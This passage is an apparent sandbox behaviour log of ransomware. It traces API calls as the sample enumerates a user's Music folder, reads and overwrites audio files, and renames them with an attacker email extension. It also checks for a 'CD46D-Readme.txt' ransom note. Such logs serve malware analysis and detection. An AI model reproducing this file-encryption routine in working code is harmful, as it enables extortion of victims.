(in: _Dest=0x438fd0, _Source="ZsH9w21fY.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\ZsH9w21fY.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\ZsH9w21fY.mp3" [0057.862] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x884 [0057.862] FindNextFileW (in: hFindFile=0x440ca0, lpFindFileData=0x12e04d58 | out: lpFindFileData=0x12e04d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27e8ea90, ftCreationTime.dwHighDateTime=0x1d4ce48, ftLastAccessTime.dwLowDateTime=0x3d0606e0, ftLastAccessTime.dwHighDateTime=0x1d4cc42, ftLastWriteTime.dwLowDateTime=0x3d0606e0, ftLastWriteTime.dwHighDateTime=0x1d4cc42, nFileSizeHigh=0x0, nFileSizeLow=0x14593, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZsH9w21fY.mp3", cAlternateFileName="ZSH9W2~1.MP3")) returned 0 [0057.863] FindClose (in: hFindFile=0x440ca0 | out: hFindFile=0x440ca0) returned 1 [0057.863] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e04d58) returned 1 [0057.863] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e08298) returned 1 [0057.863] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45e6b8) returned 1 Thread: id = 769 os_tid = 0xecc [0051.529] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\7DM-CB 0.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\7dm-cb 0.wav")) returned 0x20 [0051.529] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\7DM-CB 0.wav", dwFileAttributes=0x20) returned 1 [0052.494] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\7DM-CB 0.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\7dm-cb 0.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd34 [0052.494] GetFileSizeEx (in: hFile=0xd34, lpFileSize=0x128bfbec | out: lpFileSize=0x128bfbec*=71797) returned 1 [0052.494] SetFilePointerEx (in: hFile=0xd34, liDistanceToMove=0x11871, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.494] ReadFile (in: hFile=0xd34, lpBuffer=0x128bfb70, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x128bfb6c, lpOverlapped=0x0 | out: lpBuffer=0x128bfb70*, lpNumberOfBytesRead=0x128bfb6c*=0x4, lpOverlapped=0x0) returned 1 [0052.495] SetFilePointerEx (in: hFile=0xd34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.495] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9170 [0052.495] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9210 [0052.495] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9288 [0052.495] NtQuerySystemTime (in: CurrentTime=0x128bfb4c | out: CurrentTime=0x128bfb4c*=132174898164708000) returned 0x0 [0052.495] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0xd411c80 [0052.495] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x700b706d [0052.495] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x67695d85 [0052.495] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x347b525f [0052.495] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x7b06d18d [0052.495] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x1352c395 [0052.495] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x44363335 [0052.495] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x605a4e8c [0052.495] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x22fbe010 [0052.495] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x749d1b37 [0052.495] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0xeefbb89 [0052.495] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x414ee8a [0052.495] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x1c2eda8a [0052.495] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x5e33df2d [0052.495] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x763014d6 [0052.495] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x4033cf27 [0052.495] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x37200b5b [0052.495] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x448e63b3 [0052.495] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0xa69b1a7 [0052.495] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x2b8f4544 [0052.496] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x16d676bf [0052.496] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x15b9cb5f [0052.496] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x7b75648b [0052.496] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x4a881a33 [0052.496] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x4954dd4f [0052.496] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x51033380 [0052.496] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x196b587e [0052.496] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0xde5b20 [0052.496] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x1163ef55 [0052.496] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x5548faec [0052.496] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x535b6c8b [0052.496] RtlRandomEx (in: Seed=0x128bfb58 | out: Seed=0x128bfb58) returned 0x219380a7 [0052.508] SetFilePointerEx (in: hFile=0xd34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.508] ReadFile (in: hFile=0xd34, lpBuffer=0x12f25aa0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x128bfb2c, lpOverlapped=0x0 | out: lpBuffer=0x12f25aa0*, lpNumberOfBytesRead=0x128bfb2c*=0xc800, lpOverlapped=0x0) returned 1 [0052.509] SetFilePointerEx (in: hFile=0xd34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.509] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402528 [0052.509] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e462c8 [0052.509] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9170 [0052.509] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9170) returned 1 [0052.510] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12f322a8 [0052.515] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9170 [0052.515] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9288 [0052.515] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9288) returned 1 [0052.515] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e462c8) returned 1 [0052.515] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402528) returned 1 [0052.515] WriteFile (in: hFile=0xd34, lpBuffer=0x12f322a8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x128bfb2c, lpOverlapped=0x0 | out: lpBuffer=0x12f322a8*, lpNumberOfBytesWritten=0x128bfb2c*=0xc800, lpOverlapped=0x0) returned 1 [0056.410] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f322a8) returned 1 [0056.410] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f25aa0) returned 1 [0056.410] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cea20 [0056.410] SetFilePointerEx (in: hFile=0xd34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.411] WriteFile (in: hFile=0xd34, lpBuffer=0x44eaa0*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x128bfbac, lpOverlapped=0x0 | out: lpBuffer=0x44eaa0*, lpNumberOfBytesWritten=0x128bfbac*=0x109, lpOverlapped=0x0) returned 1 [0056.581] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44eaa0) returned 1 [0056.581] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cea50) returned 1 [0056.581] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4292f0) returned 1 [0056.581] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cea20) returned 1 [0056.581] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9170) returned 1 [0056.581] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9210) returned 1 [0056.581] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e92b0) returned 1 [0056.582] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e92d8) returned 1 [0056.582] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc2) returned 0x5e00470 [0056.582] wcscpy (in: _Dest=0x5e00470, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\7DM-CB 0.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\7DM-CB 0.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\7DM-CB 0.wav" [0056.582] wcscat (in: _Dest=0x5e00470, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\7DM-CB 0.wav.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\7DM-CB 0.wav.mailto[2Hamlampampom@cock.li].cd46d" [0056.582] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\7DM-CB 0.wav.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x128bfb64, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\7DM-CB 0.wav.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.582] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd8) returned 0x4d42a0 [0056.728] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d42a0) returned 1 [0056.728] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d7e30) returned 1 [0056.728] NtQueryInformationFile (in: FileHandle=0xd34, IoStatusBlock=0x128bfb70, FileInformation=0x128bfb48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x128bfb70, FileInformation=0x128bfb48) returned 0x0 [0056.728] NtSetInformationFile (FileHandle=0xd34, IoStatusBlock=0x128bfb70, FileInformation=0x128bfb48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.730] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00470) returned 1 [0056.730] FlushFileBuffers (hFile=0xd34) returned 1 [0056.813] CloseHandle (hObject=0xd34) returned 1 [0056.830] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x417c50 [0056.830] wcscpy (in: _Dest=0x417c50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" [0056.830] wcscat (in: _Dest=0x417c50, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt" [0056.830] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\cd46d-readme.txt")) returned 0x20 [0056.830] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417c50) returned 1 [0056.830] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x447d38) returned 1 Thread: id = 770 os_tid = 0xed0 [0051.529] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5ed5c10 [0051.529] wcscpy (in: _Dest=0x5ed5c10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M" [0051.529] wcscat (in: _Dest=0x5ed5c10, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\" [0051.529] wcscat (in: _Dest=0x5ed5c10, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\*" [0051.529] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e04fc0 [0051.529] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\*", lpFindFileData=0x12e04fc0 | out: lpFindFileData=0x12e04fc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1e500, ftCreationTime.dwHighDateTime=0x1d4cf99, ftLastAccessTime.dwLowDateTime=0x3c85d330, ftLastAccessTime.dwHighDateTime=0x1d4c788, ftLastWriteTime.dwLowDateTime=0x3c85d330, ftLastWriteTime.dwHighDateTime=0x1d4c788, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440ce0 [0051.530] wcscmp (_String1=".", _String2=".") returned 0 [0051.530] FindNextFileW (in: hFindFile=0x440ce0, lpFindFileData=0x12e04fc0 | out: lpFindFileData=0x12e04fc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1e500, ftCreationTime.dwHighDateTime=0x1d4cf99, ftLastAccessTime.dwLowDateTime=0x3c85d330, ftLastAccessTime.dwHighDateTime=0x1d4c788, ftLastWriteTime.dwLowDateTime=0x3c85d330, ftLastWriteTime.dwHighDateTime=0x1d4c788, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.530] wcscmp (_String1="..", _String2=".") returned 1 [0051.530] wcscmp (_String1="..", _String2="..") returned 0 [0051.530] FindNextFileW (in: hFindFile=0x440ce0, lpFindFileData=0x12e04fc0 | out: lpFindFileData=0x12e04fc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e830, ftCreationTime.dwHighDateTime=0x1d4c66c, ftLastAccessTime.dwLowDateTime=0xa3aa8700, ftLastAccessTime.dwHighDateTime=0x1d4c9c1, ftLastWriteTime.dwLowDateTime=0xa3aa8700, ftLastWriteTime.dwHighDateTime=0x1d4c9c1, nFileSizeHigh=0x0, nFileSizeLow=0x157b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="r8qw.mp3", cAlternateFileName="")) returned 1 [0051.530] wcscmp (_String1="r8qw.mp3", _String2=".") returned 1 [0051.530] wcscmp (_String1="r8qw.mp3", _String2="..") returned 1 [0051.530] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x96f85e0 [0051.530] wcscpy (in: _Dest=0x96f85e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M" [0051.530] wcscat (in: _Dest=0x96f85e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\" [0051.530] wcscat (in: _Dest=0x96f85e0, _Source="r8qw.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\r8qw.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\r8qw.mp3" [0065.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f85e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd14 [0065.943] FindNextFileW (in: hFindFile=0x440ce0, lpFindFileData=0x12e04fc0 | out: lpFindFileData=0x12e04fc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6258d60, ftCreationTime.dwHighDateTime=0x1d4cc8c, ftLastAccessTime.dwLowDateTime=0xd2f0ad0, ftLastAccessTime.dwHighDateTime=0x1d4c5bb, ftLastWriteTime.dwLowDateTime=0xd2f0ad0, ftLastWriteTime.dwHighDateTime=0x1d4c5bb, nFileSizeHigh=0x0, nFileSizeLow=0x161bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="rAGco35sn61BU.mp3", cAlternateFileName="RAGCO3~1.MP3")) returned 1 [0065.943] wcscmp (_String1="rAGco35sn61BU.mp3", _String2=".") returned 1 [0065.943] wcscmp (_String1="rAGco35sn61BU.mp3", _String2="..") returned 1 [0065.943] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x4380f8 [0065.943] wcscpy (in: _Dest=0x4380f8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M" [0065.943] wcscat (in: _Dest=0x4380f8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\" [0065.943] wcscat (in: _Dest=0x4380f8, _Source="rAGco35sn61BU.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\rAGco35sn61BU.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\rAGco35sn61BU.mp3" [0065.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4380f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x172c [0065.945] FindNextFileW (in: hFindFile=0x440ce0, lpFindFileData=0x12e04fc0 | out: lpFindFileData=0x12e04fc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1f771b0, ftCreationTime.dwHighDateTime=0x1d4c9c0, ftLastAccessTime.dwLowDateTime=0x15968260, ftLastAccessTime.dwHighDateTime=0x1d4c97c, ftLastWriteTime.dwLowDateTime=0x15968260, ftLastWriteTime.dwHighDateTime=0x1d4c97c, nFileSizeHigh=0x0, nFileSizeLow=0x139b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="uQuVJUDsyzKmXWxTOwt.wav", cAlternateFileName="UQUVJU~1.WAV")) returned 1 [0065.945] wcscmp (_String1="uQuVJUDsyzKmXWxTOwt.wav", _String2=".") returned 1 [0065.945] wcscmp (_String1="uQuVJUDsyzKmXWxTOwt.wav", _String2="..") returned 1 [0065.945] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x43f2c8 [0065.945] wcscpy (in: _Dest=0x43f2c8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M" [0065.945] wcscat (in: _Dest=0x43f2c8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\" [0065.945] wcscat (in: _Dest=0x43f2c8, _Source="uQuVJUDsyzKmXWxTOwt.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\uQuVJUDsyzKmXWxTOwt.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\uQuVJUDsyzKmXWxTOwt.wav" [0065.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43f2c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1730 [0065.946] FindNextFileW (in: hFindFile=0x440ce0, lpFindFileData=0x12e04fc0 | out: lpFindFileData=0x12e04fc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9194a0, ftCreationTime.dwHighDateTime=0x1d4c708, ftLastAccessTime.dwLowDateTime=0x71bc40f0, ftLastAccessTime.dwHighDateTime=0x1d4c79e, ftLastWriteTime.dwLowDateTime=0x71bc40f0, ftLastWriteTime.dwHighDateTime=0x1d4c79e, nFileSizeHigh=0x0, nFileSizeLow=0x12847, dwReserved0=0x0, dwReserved1=0x0, cFileName="wq6vn4iBvHyq8tj.m4a", cAlternateFileName="WQ6VN4~1.M4A")) returned 1 [0065.946] wcscmp (_String1="wq6vn4iBvHyq8tj.m4a", _String2=".") returned 1 [0065.946] wcscmp (_String1="wq6vn4iBvHyq8tj.m4a", _String2="..") returned 1 [0065.946] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x92) returned 0x5ec6268 [0065.946] wcscpy (in: _Dest=0x5ec6268, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M" [0065.946] wcscat (in: _Dest=0x5ec6268, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\" [0065.946] wcscat (in: _Dest=0x5ec6268, _Source="wq6vn4iBvHyq8tj.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\wq6vn4iBvHyq8tj.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\wq6vn4iBvHyq8tj.m4a" [0065.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec6268, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1734 [0065.947] FindNextFileW (in: hFindFile=0x440ce0, lpFindFileData=0x12e04fc0 | out: lpFindFileData=0x12e04fc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe387d960, ftCreationTime.dwHighDateTime=0x1d4c663, ftLastAccessTime.dwLowDateTime=0xdeef5060, ftLastAccessTime.dwHighDateTime=0x1d4d025, ftLastWriteTime.dwLowDateTime=0xdeef5060, ftLastWriteTime.dwHighDateTime=0x1d4d025, nFileSizeHigh=0x0, nFileSizeLow=0x4bed, dwReserved0=0x0, dwReserved1=0x0, cFileName="yNC6_n.mp3", cAlternateFileName="")) returned 1 [0065.948] wcscmp (_String1="yNC6_n.mp3", _String2=".") returned 1 [0065.948] wcscmp (_String1="yNC6_n.mp3", _String2="..") returned 1 [0065.948] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x446bb0 [0065.948] wcscpy (in: _Dest=0x446bb0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M" [0065.948] wcscat (in: _Dest=0x446bb0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\" [0065.948] wcscat (in: _Dest=0x446bb0, _Source="yNC6_n.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\yNC6_n.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\yNC6_n.mp3" [0065.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446bb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1738 [0065.949] FindNextFileW (in: hFindFile=0x440ce0, lpFindFileData=0x12e04fc0 | out: lpFindFileData=0x12e04fc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe387d960, ftCreationTime.dwHighDateTime=0x1d4c663, ftLastAccessTime.dwLowDateTime=0xdeef5060, ftLastAccessTime.dwHighDateTime=0x1d4d025, ftLastWriteTime.dwLowDateTime=0xdeef5060, ftLastWriteTime.dwHighDateTime=0x1d4d025, nFileSizeHigh=0x0, nFileSizeLow=0x4bed, dwReserved0=0x0, dwReserved1=0x0, cFileName="yNC6_n.mp3", cAlternateFileName="")) returned 0 [0065.949] FindClose (in: hFindFile=0x440ce0 | out: hFindFile=0x440ce0) returned 1 [0065.949] 